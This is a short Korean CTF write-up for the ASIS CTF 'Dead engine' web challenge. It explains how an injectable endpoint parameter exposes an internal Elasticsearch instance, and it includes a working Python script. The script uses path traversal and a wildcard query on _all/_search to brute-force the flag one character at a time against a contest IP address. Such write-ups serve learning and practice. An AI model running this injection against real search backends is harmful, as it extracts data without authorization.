[ASIS CTF/Dead engine] Elasticsearch Injection
요약
ASIS CTF의 Dead engine이라는 웹 문제다. Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection을 통해 플래그를 얻는 문제였다. Elasticsearch 환경은 처음이라 열심히 검색하면서 풀었는데 복습 겸 간단히 풀이만 적어본다.
풀이
우선 q
, endpoint
이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다.
입력: q=abcd&endpoint=/articles/_search
내부 요청: http://localhost:9300/articles/_search?q=abcd
이렇게 http://localhost:9300{endpoint}
?q={q}
각각 입력이 들어간다. endpoint
를 조작하면 맘대로 검색 옵션을 설정하거나 다른 테이블 접근이 가능했다. Elasticsearch 관련 글을 읽다보니 _all/_search
에서 검색하면 특정 테이블명을 모르더라도 모든 테이블을 대상으로 검색할 수 있다고 한다.
따라서 endpoint
를 _all/_search
로 설정한 뒤, q
에서는 와일드카드로 플래그 길이를 맞춘 다음 “Flag Is Here, Grab it :)” 메세지의 출력 여부에 따라 true, false로 구분하여 플래그를 뽑아올 수 있었다.
import requests
if __name__ == '__main__':
url = 'http://192.241.183.207/index.php?action'
headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
data = 'q=fuck&endpoint=../../../../_all/_search?q={}%23'
flag = '|'.join('?' * 32).split('|') # flag length is 32
for x in range(32):
for y in 'abcdef0123456789':
flag[x] = y
result = requests.post(url, data=data.format(''.join(flag)), headers=headers).text
if 'Flag Is Here, Grab it :)' in result:
break
print('ASIS{' + ''.join(flag) + '}')
print('----------------------')
print("flag : ASIS{" + ''.join(flag) + '}')